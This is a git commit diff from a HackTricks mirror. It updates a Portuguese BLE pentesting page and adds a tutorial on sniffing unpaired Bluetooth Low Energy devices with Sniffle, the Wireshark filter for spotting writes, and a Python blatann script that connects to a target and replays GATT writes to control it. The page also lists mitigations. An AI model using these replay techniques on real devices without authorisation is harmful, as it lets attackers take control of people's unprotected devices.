mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/todo/radio-hacking/pentesting-ble-bluetooth-low-ene
This commit is contained in:
parent
f21b4fda04
commit
52239994df
@ -6,17 +6,17 @@
|
||||
|
||||
Disponível desde a especificação Bluetooth 4.0, o BLE usa apenas 40 canais, cobrindo a faixa de 2400 a 2483,5 MHz. Em contraste, o Bluetooth tradicional usa 79 canais nessa mesma faixa.
|
||||
|
||||
Os dispositivos BLE se comunicam enviando **pacotes de publicidade** (**beacons**), esses pacotes transmitem a existência do dispositivo BLE para outros dispositivos próximos. Esses beacons às vezes **enviam dados** também.
|
||||
Dispositivos BLE se comunicam enviando **advertising packets** (**beacons**); esses pacotes anunciam a existência do dispositivo BLE para outros dispositivos próximos. Esses beacons às vezes também **enviam dados**.
|
||||
|
||||
O dispositivo que escuta, também chamado de dispositivo central, pode responder a um pacote de publicidade com um **pedido SCAN** enviado especificamente para o dispositivo de publicidade. A **resposta** a esse scan usa a mesma estrutura que o pacote de **publicidade** com informações adicionais que não puderam ser incluídas no pedido de publicidade inicial, como o nome completo do dispositivo.
|
||||
O dispositivo que escuta, também chamado de central, pode responder a um pacote de advertising com uma **SCAN request** enviada especificamente ao dispositivo que anuncia. A **response** a esse scan usa a mesma estrutura do **advertising** packet com informações adicionais que não couberam na solicitação inicial de advertising, como o nome completo do dispositivo.
|
||||
|
||||
.png>)
|
||||
|
||||
O byte de preâmbulo sincroniza a frequência, enquanto o endereço de acesso de quatro bytes é um **identificador de conexão**, que é usado em cenários onde vários dispositivos estão tentando estabelecer conexões nos mesmos canais. Em seguida, a Unidade de Dados de Protocolo (**PDU**) contém os **dados de publicidade**. Existem vários tipos de PDU; os mais comumente usados são ADV_NONCONN_IND e ADV_IND. Dispositivos usam o tipo de PDU **ADV_NONCONN_IND** se **não aceitam conexões**, transmitindo dados apenas no pacote de publicidade. Dispositivos usam **ADV_IND** se **permitirem conexões** e **pararem de enviar publicidade** uma vez que uma **conexão** foi **estabelecida**.
|
||||
O byte de preâmbulo sincroniza a frequência, enquanto o endereço de acesso de quatro bytes é um **connection identifier**, usado em cenários onde múltiplos dispositivos tentam estabelecer conexões nos mesmos canais. Em seguida, a Protocol Data Unit (**PDU**) contém os **advertising data**. Existem vários tipos de PDU; os mais comumente usados são **ADV_NONCONN_IND** e **ADV_IND**. Dispositivos usam o tipo de PDU **ADV_NONCONN_IND** se **não aceitam conexões**, transmitindo dados apenas no pacote de advertising. Dispositivos usam **ADV_IND** se **permitirem conexões** e **param de enviar advertising** packets uma vez que uma **connection** tenha sido **established**.
|
||||
|
||||
### GATT
|
||||
|
||||
O **Perfil de Atributo Genérico** (GATT) define como o **dispositivo deve formatar e transferir dados**. Ao analisar a superfície de ataque de um dispositivo BLE, você frequentemente concentrará sua atenção no GATT (ou GATTs), porque é assim que a **funcionalidade do dispositivo é acionada** e como os dados são armazenados, agrupados e modificados. O GATT lista as características, descritores e serviços de um dispositivo em uma tabela como valores de 16 ou 32 bits. Uma **característica** é um valor **de dados** **enviado** entre o dispositivo central e o periférico. Essas características podem ter **descritores** que **fornecem informações adicionais sobre elas**. **Características** são frequentemente **agrupadas** em **serviços** se estiverem relacionadas à realização de uma ação específica.
|
||||
O **Generic Attribute Profile** (GATT) define como o **dispositivo deve formatar e transferir dados**. Ao analisar a superfície de ataque de um dispositivo BLE, você frequentemente concentra sua atenção no GATT (ou GATTs), porque é assim que a **funcionalidade do dispositivo é acionada** e como os dados são armazenados, agrupados e modificados. O GATT lista as **characteristics**, **descriptors** e **services** de um dispositivo em uma tabela como valores de 16 ou 32 bits. Uma **characteristic** é um valor de **data** enviado entre o dispositivo central e o peripheral. Essas **characteristics** podem ter **descriptors** que fornecem informações adicionais sobre elas. **Characteristics** são frequentemente **agrupadas** em **services** se estiverem relacionadas à execução de uma ação específica.
|
||||
|
||||
## Enumeração
|
||||
```bash
|
||||
@ -30,7 +30,7 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
|
||||
```
|
||||
### GATTool
|
||||
|
||||
**GATTool** permite **estabelecer** uma **conexão** com outro dispositivo, listando as **características** desse dispositivo e lendo e escrevendo seus atributos.\
|
||||
**GATTool** permite **estabelecer** uma **conexão** com outro dispositivo, listar as **características** desse dispositivo e ler e gravar seus atributos.\
|
||||
GATTTool pode iniciar um shell interativo com a opção `-I`:
|
||||
```bash
|
||||
gatttool -i hci0 -I
|
||||
@ -64,4 +64,125 @@ sudo bettercap --eval "ble.recon on"
|
||||
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
|
||||
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
|
||||
```
|
||||
## Sniffing e controle ativo de dispositivos BLE não pareados
|
||||
|
||||
Muitos periféricos BLE de baixo custo não aplicam pairing/bonding. Sem bonding, a Link Layer encryption nunca é ativada, então o tráfego ATT/GATT fica em texto claro. Um sniffer off-path pode acompanhar a conexão, decodificar operações GATT para descobrir characteristic handles e values, e qualquer host próximo pode então conectar e replay essas escritas para controlar o dispositivo.
|
||||
|
||||
### Sniffing with Sniffle (CC26x2/CC1352)
|
||||
|
||||
Hardware: um Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed com o firmware Sniffle do NCC Group.
|
||||
|
||||
Instale o Sniffle e seu Wireshark extcap no Linux:
|
||||
```bash
|
||||
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
|
||||
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
|
||||
sudo mkdir -p /opt/sniffle
|
||||
sudo chown -R $USER:$USER /opt/sniffle
|
||||
pushd /opt/sniffle
|
||||
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
|
||||
tar xvf v1.10.0.tar.gz
|
||||
# Install Wireshark extcap for user and root only
|
||||
mkdir -p $HOME/.local/lib/wireshark/extcap
|
||||
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
|
||||
sudo mkdir -p /root/.local/lib/wireshark/extcap
|
||||
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
|
||||
popd
|
||||
else
|
||||
echo "[+] - Sniffle already installed at 1.10.0"
|
||||
fi
|
||||
```
|
||||
Flash Sonoff with Sniffle firmware (certifique-se de que seu dispositivo serial corresponda, por exemplo /dev/ttyUSB0):
|
||||
```bash
|
||||
pushd /opt/sniffle/
|
||||
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
git clone https://github.com/sultanqasim/cc2538-bsl.git
|
||||
cd cc2538-bsl
|
||||
python3 -m venv .venv
|
||||
source .venv/bin/activate
|
||||
python3 -m pip install pyserial intelhex
|
||||
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
deactivate
|
||||
popd
|
||||
```
|
||||
Capture no Wireshark usando o extcap Sniffle e pivot rapidamente para state-changing writes aplicando o filtro:
|
||||
```text
|
||||
_ws.col.info contains "Sent Write Command"
|
||||
```
|
||||
Isto destaca os ATT Write Commands enviados pelo client; o handle e o value frequentemente mapeiam diretamente para ações do dispositivo (por exemplo, write 0x01 to a buzzer/alert characteristic, 0x00 to stop).
|
||||
|
||||
Exemplos rápidos do Sniffle CLI:
|
||||
```bash
|
||||
python3 scanner.py --output scan.pcap
|
||||
# Only devices with very strong signal
|
||||
python3 scanner.py --rssi -40
|
||||
# Filter advertisements containing a string
|
||||
python3 sniffer.py --string "banana" --output sniff.pcap
|
||||
```
|
||||
Alternative sniffer: o nRF Sniffer for BLE + Wireshark plugin da Nordic também funciona. Em dongles Nordic pequenos/baratos você normalmente sobrescreve o USB bootloader para carregar o sniffer firmware, então ou mantém um dongle sniffer dedicado ou precisa de um J-Link/JTAG para restaurar o bootloader depois.
|
||||
|
||||
### Controle ativo via GATT
|
||||
|
||||
Depois de identificar um writable characteristic handle e value a partir do sniffed traffic, conecte-se como qualquer central e emita o mesmo write:
|
||||
|
||||
- Com Nordic nRF Connect for Desktop (BLE app):
|
||||
- Selecione o dongle nRF52/nRF52840, escaneie e conecte-se ao alvo.
|
||||
- Navegue na GATT database, localize a target characteristic (frequentemente tem um nome amigável, p.ex., Alert Level).
|
||||
- Execute um Write com os sniffed bytes (p.ex., 01 para acionar, 00 para parar).
|
||||
|
||||
- Automatize no Windows com um dongle Nordic usando Python + blatann:
|
||||
```python
|
||||
import time
|
||||
import blatann
|
||||
|
||||
# CONFIG
|
||||
COM_PORT = "COM29" # Replace with your COM port
|
||||
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
|
||||
|
||||
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
|
||||
|
||||
# CONNECT
|
||||
ble_device = blatann.BleDevice(COM_PORT)
|
||||
ble_device.configure()
|
||||
ble_device.open()
|
||||
print(f"[-] Connecting to {TARGET_MAC}...")
|
||||
peer = ble_device.connect(target_address).wait()
|
||||
if not peer:
|
||||
print("[!] Connection failed.")
|
||||
ble_device.close()
|
||||
raise SystemExit(1)
|
||||
|
||||
print("Connected. Discovering services...")
|
||||
peer.discover_services().wait(5, exception_on_timeout=False)
|
||||
|
||||
# Example: write 0x01/0x00 to a known handle
|
||||
for service in peer.database.services:
|
||||
for ch in service.characteristics:
|
||||
if ch.handle == 0x000b: # Replace with your handle
|
||||
print("[!] Beeping.")
|
||||
ch.write(b"\x01")
|
||||
time.sleep(2)
|
||||
print("[+] And relax.")
|
||||
ch.write(b"\x00")
|
||||
|
||||
print("[-] Disconnecting...")
|
||||
peer.disconnect()
|
||||
peer.wait_for_disconnect()
|
||||
ble_device.close()
|
||||
```
|
||||
### Notas operacionais e mitigações
|
||||
|
||||
- Prefira Sonoff+Sniffle em Linux para saltos de canal robustos e seguimento de conexões. Mantenha um Nordic sniffer de reserva como backup.
|
||||
- Sem pairing/bonding, qualquer atacante nas proximidades pode observar writes e replay/craft os seus próprios para unauthenticated writable characteristics.
|
||||
- Mitigações: exigir pairing/bonding e aplicar encryption; definir permissões de characteristic para exigir authenticated writes; minimizar unauthenticated writable characteristics; validar GATT ACLs com Sniffle/nRF Connect.
|
||||
|
||||
## Referências
|
||||
|
||||
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
|
||||
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
|
||||
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
|
||||
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
|
||||
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
|
||||
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
|
||||
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user